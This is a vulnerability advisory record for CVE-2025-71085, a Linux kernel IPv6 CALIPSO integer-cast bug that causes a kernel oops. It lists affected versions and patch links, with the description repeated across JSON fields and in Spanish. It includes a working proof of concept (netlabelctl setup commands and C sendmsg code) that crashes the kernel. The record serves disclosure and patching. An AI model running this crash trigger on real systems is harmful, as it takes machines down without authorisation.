CVE-2025-71085 (GCVE-0-2025-71085)

Vulnerability from cvelistv5 – Published: 2026-01-13 15:34 – Updated: 2026-06-11 18:44
VLAI
Title
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
Summary
In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);
Severity
No CVSS data available.
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator (v2.0.3)
Assigner
References
Impacted products
Vendor Product Version
Linux Linux Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 86f365897068d09418488165a68b23cb5baa37f2 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 6b7522424529556c9cbc15e15e7bd4eeae310910 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 2bb759062efa188ea5d07242a43e5aa5464bbae1 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < c53aa6a5086f03f19564096ee084a202a8c738c0 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < bf3709738d8a8cc6fa275773170c5c29511a0b24 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 73744ad5696dce0e0f43872aba8de6a83d6ad570 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 58fc7342b529803d3c221101102fe913df7adb83 (git)
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Linux Linux Affected: 4.8
Unaffected: 0 , < 4.8 (semver)
Unaffected: 5.10.248 , ≤ 5.10.* (semver)
Unaffected: 5.15.198 , ≤ 5.15.* (semver)
Unaffected: 6.1.160 , ≤ 6.1.* (semver)
Unaffected: 6.6.120 , ≤ 6.6.* (semver)
Unaffected: 6.12.64 , ≤ 6.12.* (semver)
Unaffected: 6.18.4 , ≤ 6.18.* (semver)
Unaffected: 6.19 , ≤ * (original_commit_for_fix)
Create a notification for this product.
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                "id": "CVE-2025-71085",
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                "timestamp": "2026-06-10T20:42:02.469421Z",
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              "lessThanOrEqual": "6.18.*",
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              "version": "6.18.4",
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          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = \u0026dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-\u003ecmsg_len = cmsg_len;\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, \u0026msg, 0);"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:54:27.272Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2"
        },
        {
          "url": "https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910"
        },
        {
          "url": "https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1"
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      ],
      "title": "ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()",
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  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-71085",
    "datePublished": "2026-01-13T15:34:48.324Z",
    "dateReserved": "2026-01-13T15:30:19.649Z",
    "dateUpdated": "2026-06-11T18:44:18.746Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2025-71085",
      "date": "2026-07-03",
      "epss": "0.00114",
      "percentile": "0.0177"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2025-71085\",\"sourceIdentifier\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"published\":\"2026-01-13T16:16:08.117\",\"lastModified\":\"2026-06-17T10:03:37.803\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"In the Linux kernel, the following vulnerability has been resolved:\\n\\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\\n\\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\\nnet/core/skbuff.c:2232 in pskb_expand_head().\\nThis bug is triggered as part of the calipso_skbuff_setattr()\\nroutine when skb_cow() is passed headroom \u003e INT_MAX\\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\\n\\nThe root cause of the bug is due to an implicit integer cast in\\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\\nbecomes negative, and pskb_expand_head() is passed a negative value for\\nnhead.\\n\\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\\n\\\"negative\\\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\\nby only using skb_cow() to grow headroom.\\n\\nPoC:\\n\\tUsing `netlabelctl` tool:\\n\\n        netlabelctl map del default\\n        netlabelctl calipso add pass doi:7\\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\\n\\n        Then run the following PoC:\\n\\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\\n\\n        // setup msghdr\\n        int cmsg_size = 2;\\n        int cmsg_len = 0x60;\\n        struct msghdr msg;\\n        struct sockaddr_in6 dest_addr;\\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\\n                        sizeof(struct cmsghdr) + cmsg_len);\\n        msg.msg_name = \u0026dest_addr;\\n        msg.msg_namelen = sizeof(dest_addr);\\n        msg.msg_iov = NULL;\\n        msg.msg_iovlen = 0;\\n        msg.msg_control = cmsg;\\n        msg.msg_controllen = cmsg_len;\\n        msg.msg_flags = 0;\\n\\n        // setup sockaddr\\n        dest_addr.sin6_family = AF_INET6;\\n        dest_addr.sin6_port = htons(31337);\\n        dest_addr.sin6_flowinfo = htonl(31337);\\n        dest_addr.sin6_addr = in6addr_loopback;\\n        dest_addr.sin6_scope_id = 31337;\\n\\n        // setup cmsghdr\\n        cmsg-\u003ecmsg_len = cmsg_len;\\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\\n\\n        sendmsg(fd, \u0026msg, 0);\"},{\"lang\":\"es\",\"value\":\"En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\\n\\nipv6: BUG() en pskb_expand_head() como parte de calipso_skbuff_setattr()\\n\\nExiste un oops del kernel causado por un BUG_ON(nhead \u0026lt; 0) en net/core/skbuff.c:2232 en pskb_expand_head(). Este error se activa como parte de la rutina calipso_skbuff_setattr() cuando a skb_cow() se le pasa un headroom \u0026gt; INT_MAX (es decir, (int)(skb_headroom(skb) + len_delta) \u0026lt; 0).\\n\\nLa causa ra\u00edz del error se debe a una conversi\u00f3n impl\u00edcita de entero en __skb_cow(). La comprobaci\u00f3n (headroom \u0026gt; skb_headroom(skb)) tiene como objetivo asegurar que delta = headroom - skb_headroom(skb) nunca sea negativo, de lo contrario, activaremos un BUG_ON en pskb_expand_head(). Sin embargo, si headroom \u0026gt; INT_MAX y delta \u0026lt;= -NET_SKB_PAD, la comprobaci\u00f3n pasa, delta se vuelve negativo y a pskb_expand_head() se le pasa un valor negativo para nhead.\\n\\nCorregir la condici\u00f3n de activaci\u00f3n en calipso_skbuff_setattr(). Evitar pasar tama\u00f1os de \u0027headroom\u0027 \u0027negativos\u0027 a skb_cow() dentro de calipso_skbuff_setattr() utilizando \u00fanicamente skb_cow() para aumentar el headroom.\\n\\nPoC:\\n\\tUsando la herramienta \u0027netlabelctl\u0027:\\n\\n        netlabelctl map del default\\n        netlabelctl calipso add pass doi:7\\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\\n\\n        Luego ejecute el siguiente PoC:\\n\\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\\n\\n        // setup msghdr\\n        int cmsg_size = 2;\\n        int cmsg_len = 0x60;\\n        struct msghdr msg;\\n        struct sockaddr_in6 dest_addr;\\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\\n                        sizeof(struct cmsghdr) + cmsg_len);\\n        msg.msg_name = \u0026amp;dest_addr;\\n        msg.msg_namelen = sizeof(dest_addr);\\n        msg.msg_iov = NULL;\\n        msg.msg_iovlen = 0;\\n        msg.msg_control = cmsg;\\n        msg.msg_controllen = cmsg_len;\\n        msg.msg_flags = 0;\\n\\n        // setup sockaddr\\n        dest_addr.sin6_family = AF_INET6;\\n        dest_addr.sin6_port = htons(31337);\\n        dest_addr.sin6_flowinfo = htonl(31337);\\n        dest_addr.sin6_addr = in6addr_loopback;\\n        dest_addr.sin6_scope_id = 31337;\\n\\n        // setup cmsghdr\\n        cmsg-\u0026gt;cmsg_len = cmsg_len;\\n        cmsg-\u0026gt;cmsg_level = IPPROTO_IPV6;\\n        cmsg-\u0026gt;cmsg_type = IPV6_HOPOPTS;\\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\\n\\n        sendmsg(fd, \u0026amp;msg, 0);\"}],\"affected\":[{\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"affectedData\":[{\"vendor\":\"Linux\",\"product\":\"Linux\",\"defaultStatus\":\"unaffected\",\"programFiles\":[\"net/ipv6/calipso.c\"],\"repo\":\"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\",\"versions\":[{\"version\":\"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\"lessThan\":\"86f365897068d09418488165a68b23cb5baa37f2\",\"versionType\":\"git\",\"status\":\"affected\"},{\"version\":\"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\"lessThan\":\"6b7522424529556c9cbc15e15e7bd4eeae310910\",\"versionType\":\"git\",\"status\":\"affected\"},{\"version\":\"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\"lessThan\":\"2bb759062efa188ea5d07242a43e5aa5464bbae1\",\"versionType\":\"git\",\"status\":\"affected\"},{\"version\":\"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\"lessThan\":\"c53aa6a5086f03f19564096ee084a202a8c738c0\",\"versionType\":\"git\",\"status\":\"affected\"},{\"version\":\"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\"lessThan\":\"bf3709738d8a8cc6fa275773170c5c29511a0b24\",\"versionType\":\"git\",\"status\":\"affected\"},{\"version\":\"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\"lessThan\":\"73744ad5696dce0e0f43872aba8de6a83d6ad570\",\"versionType\":\"git\",\"status\":\"affected\"},{\"version\":\"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\",\"lessThan\":\"58fc7342b529803d3c221101102fe913df7adb83\",\"versionType\":\"git\",\"status\":\"affected\"}]},{\"vendor\":\"Linux\",\"product\":\"Linux\",\"defaultStatus\":\"affected\",\"programFiles\":[\"net/ipv6/calipso.c\"],\"repo\":\"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\",\"versions\":[{\"version\":\"4.8\",\"status\":\"affected\"},{\"version\":\"0\",\"lessThan\":\"4.8\",\"versionType\":\"semver\",\"status\":\"unaffected\"},{\"version\":\"5.10.248\",\"lessThanOrEqual\":\"5.10.*\",\"versionType\":\"semver\",\"status\":\"unaffected\"},{\"version\":\"5.15.198\",\"lessThanOrEqual\":\"5.15.*\",\"versionType\":\"semver\",\"status\":\"unaffected\"},{\"version\":\"6.1.160\",\"lessThanOrEqual\":\"6.1.*\",\"versionType\":\"semver\",\"status\":\"unaffected\"},{\"version\":\"6.6.120\",\"lessThanOrEqual\":\"6.6.*\",\"versionType\":\"semver\",\"status\":\"unaffected\"},{\"version\":\"6.12.64\",\"lessThanOrEqual\":\"6.12.*\",\"versionType\":\"semver\",\"status\":\"unaffected\"},{\"version\":\"6.18.4\",\"lessThanOrEqual\":\"6.18.*\",\"versionType\":\"semver\",\"status\":\"unaffected\"},{\"version\":\"6.19\",\"lessThanOrEqual\":\"*\",\"versionType\":\"original_commit_for_fix\",\"status\":\"unaffected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":5.5,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.8,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-06-10T20:42:02.469421Z\",\"id\":\"CVE-2025-71085\",\"options\":[{\"exploitation\":\"none\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-617\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"4.8.1\",\"versionEndExcluding\":\"5.10.248\",\"matchCriteriaId\":\"C178EEDC-1906-4F84-B618-31B9B5CA4130\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"5.11\",\"versionEndExcluding\":\"5.15.198\",\"matchCriteriaId\":\"82159CAA-B6BA-43C6-85D8-65BDBC175A7E\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"5.16\",\"versionEndExcluding\":\"6.1.160\",\"matchCriteriaId\":\"C10CC03E-16A9-428A-B449-40D3763E15F6\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.2\",\"versionEndExcluding\":\"6.6.120\",\"matchCriteriaId\":\"43C3A206-5EEE-417B-AA0F-EF8972E7A9F0\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.7\",\"versionEndExcluding\":\"6.12.64\",\"matchCriteriaId\":\"32BF4A52-377C-44ED-B5E6-7EA5D896E98B\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.13\",\"versionEndExcluding\":\"6.18.4\",\"matchCriteriaId\":\"DC988EA0-0E32-457A-BF95-89BEB31A227B\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:4.8:-:*:*:*:*:*:*\",\"matchCriteriaId\":\"2F396E56-2772-41B8-917F-0C38C2C1641C\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*\",\"matchCriteriaId\":\"17B67AA7-40D6-4AFA-8459-F200F3D7CFD1\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*\",\"matchCriteriaId\":\"C47E4CC9-C826-4FA9-B014-7FE3D9B318B2\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*\",\"matchCriteriaId\":\"F71D92C0-C023-48BD-B3B6-70B638EEE298\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*\",\"matchCriteriaId\":\"13580667-0A98-40CC-B29F-D12790B91BDB\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:6.19:rc5:*:*:*:*:*:*\",\"matchCriteriaId\":\"CAD1FED7-CF48-47BF-AC7D-7B6FA3C065FC\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:6.19:rc6:*:*:*:*:*:*\",\"matchCriteriaId\":\"3EF854A1-ABB1-4E93-BE9A-44569EC76C0D\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:6.19:rc7:*:*:*:*:*:*\",\"matchCriteriaId\":\"F5DC0CA6-F0AF-4DDF-A882-3DADB9A886A7\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:6.19:rc8:*:*:*:*:*:*\",\"matchCriteriaId\":\"EB5B7DFC-C36B-45D8-922C-877569FDDF43\"}]}]}],\"references\":[{\"url\":\"https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2025-71085\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-06-10T20:42:02.469421Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-06-11T17:38:59.047Z\"}}], \"cna\": {\"title\": \"ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\", \"affected\": [{\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"86f365897068d09418488165a68b23cb5baa37f2\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"6b7522424529556c9cbc15e15e7bd4eeae310910\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"2bb759062efa188ea5d07242a43e5aa5464bbae1\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"c53aa6a5086f03f19564096ee084a202a8c738c0\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"bf3709738d8a8cc6fa275773170c5c29511a0b24\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"73744ad5696dce0e0f43872aba8de6a83d6ad570\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"58fc7342b529803d3c221101102fe913df7adb83\", \"versionType\": \"git\"}], \"programFiles\": [\"net/ipv6/calipso.c\"], \"defaultStatus\": \"unaffected\"}, {\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"4.8\"}, {\"status\": \"unaffected\", \"version\": \"0\", \"lessThan\": \"4.8\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"5.10.248\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"5.10.*\"}, {\"status\": \"unaffected\", \"version\": \"5.15.198\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"5.15.*\"}, {\"status\": \"unaffected\", \"version\": \"6.1.160\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.1.*\"}, {\"status\": \"unaffected\", \"version\": \"6.6.120\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.6.*\"}, {\"status\": \"unaffected\", \"version\": \"6.12.64\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.12.*\"}, {\"status\": \"unaffected\", \"version\": \"6.18.4\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.18.*\"}, {\"status\": \"unaffected\", \"version\": \"6.19\", \"versionType\": \"original_commit_for_fix\", \"lessThanOrEqual\": \"*\"}], \"programFiles\": [\"net/ipv6/calipso.c\"], \"defaultStatus\": \"affected\"}], \"references\": [{\"url\": \"https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2\"}, {\"url\": \"https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910\"}, {\"url\": \"https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1\"}, {\"url\": \"https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0\"}, {\"url\": \"https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24\"}, {\"url\": \"https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570\"}, {\"url\": \"https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83\"}], \"x_generator\": {\"engine\": \"bippy-1.2.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"In the Linux kernel, the following vulnerability has been resolved:\\n\\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\\n\\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\\nnet/core/skbuff.c:2232 in pskb_expand_head().\\nThis bug is triggered as part of the calipso_skbuff_setattr()\\nroutine when skb_cow() is passed headroom \u003e INT_MAX\\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\\n\\nThe root cause of the bug is due to an implicit integer cast in\\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\\nbecomes negative, and pskb_expand_head() is passed a negative value for\\nnhead.\\n\\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\\n\\\"negative\\\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\\nby only using skb_cow() to grow headroom.\\n\\nPoC:\\n\\tUsing `netlabelctl` tool:\\n\\n        netlabelctl map del default\\n        netlabelctl calipso add pass doi:7\\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\\n\\n        Then run the following PoC:\\n\\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\\n\\n        // setup msghdr\\n        int cmsg_size = 2;\\n        int cmsg_len = 0x60;\\n        struct msghdr msg;\\n        struct sockaddr_in6 dest_addr;\\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\\n                        sizeof(struct cmsghdr) + cmsg_len);\\n        msg.msg_name = \u0026dest_addr;\\n        msg.msg_namelen = sizeof(dest_addr);\\n        msg.msg_iov = NULL;\\n        msg.msg_iovlen = 0;\\n        msg.msg_control = cmsg;\\n        msg.msg_controllen = cmsg_len;\\n        msg.msg_flags = 0;\\n\\n        // setup sockaddr\\n        dest_addr.sin6_family = AF_INET6;\\n        dest_addr.sin6_port = htons(31337);\\n        dest_addr.sin6_flowinfo = htonl(31337);\\n        dest_addr.sin6_addr = in6addr_loopback;\\n        dest_addr.sin6_scope_id = 31337;\\n\\n        // setup cmsghdr\\n        cmsg-\u003ecmsg_len = cmsg_len;\\n      